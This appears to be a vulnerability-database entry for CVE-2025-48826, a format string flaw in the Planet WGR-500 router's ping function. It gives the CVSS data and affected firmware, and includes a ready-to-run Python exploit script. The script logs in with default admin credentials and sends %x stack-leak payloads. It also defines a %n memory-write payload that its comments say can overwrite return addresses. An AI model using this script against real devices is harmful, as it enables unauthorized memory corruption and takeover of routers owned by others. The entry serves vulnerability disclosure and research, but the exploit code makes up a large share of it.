Security Vulnerability Report
中文
CVE-2025-48826 CVSS 8.8 HIGH

CVE-2025-48826

Published: 2025-10-07 14:15:37
Last Modified: 2025-11-03 18:16:55

Description

A format string vulnerability exists in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to memory corruption. An attacker can send a series of HTTP requests to trigger this vulnerability.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:* - NOT VULNERABLE
Planet WGR-500 < v1.3411b190912(已修复版本之后)
Planet WGR-500 v1.3411b190912

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-48826 - Planet WGR-500 formPingCmd Format String Vulnerability PoC # Author: Security Research # Description: Exploits format string vulnerability in formPingCmd to achieve memory corruption import requests import sys from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1" TARGET_PORT = 80 USERNAME = "admin" PASSWORD = "admin" BASE_URL = f"http://{TARGET_HOST}:{TARGET_PORT}" def exploit(): """ Exploit the format string vulnerability in formPingCmd functionality. The vulnerability exists because user-supplied ping parameters are passed directly as format string arguments to printf-family functions. """ session = requests.Session() # Step 1: Authenticate to the router management interface login_url = f"{BASE_URL}/login.cgi" login_data = { "username": USERNAME, "password": PASSWORD } print(f"[*] Authenticating to {BASE_URL}...") resp = session.post(login_url, data=login_data, verify=False, timeout=10) if "login" in resp.url.lower(): print("[-] Authentication failed. Please check credentials.") return False print("[+] Authentication successful") # Step 2: Send malicious format string payload via formPingCmd # The ping command parameter is vulnerable to format string injection ping_url = f"{BASE_URL}/apply.cgi" # Format string payload - reading stack memory to leak addresses # %x reads 4 bytes from stack, multiple %x to traverse the stack payload_leak = "AAAA" + "." .join(["%x"] * 20) # Format string payload - writing to memory using %n # This can be used to overwrite GOT entries or return addresses payload_write = "AAAA" + "%n" * 10 # Full exploit payload combining leak and write primitives payload = "%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x" ping_data = { "submit_button": "Ping", "change_action": "gozila_cgi", "ping_ip": payload, "ping_size": "64", "ping_count": "1" } print(f"[*] Sending format string payload to formPingCmd...") print(f"[*] Payload: {payload}") try: resp = session.post(ping_url, data=ping_data, verify=False, timeout=10) print(f"[+] Response status code: {resp.status_code}") # Check if format string was processed (leaked stack values appear in response) if any(c in resp.text for c in ["41414141", "deadbeef"]): print("[+] Format string vulnerability confirmed - stack values leaked!") return True # Check for crash indicators if resp.status_code == 500 or "error" in resp.text.lower(): print("[+] Possible memory corruption detected (server error)") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - possible crash due to memory corruption!") return True except Exception as e: print(f"[*] Exception occurred: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-48826 PoC - Planet WGR-500 Format String") print("=" * 60) if exploit(): print("\n[!] Vulnerability exploitation completed") print("[!] The target may be unstable - consider rebooting") else: print("\n[-] Exploitation may have failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48826", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:36.897", "lastModified": "2025-11-03T18:16:55.103", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "A format string vulnerability exists in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to memory corruption. An attacker can send a series of HTTP requests to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-134"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2228", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2228", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}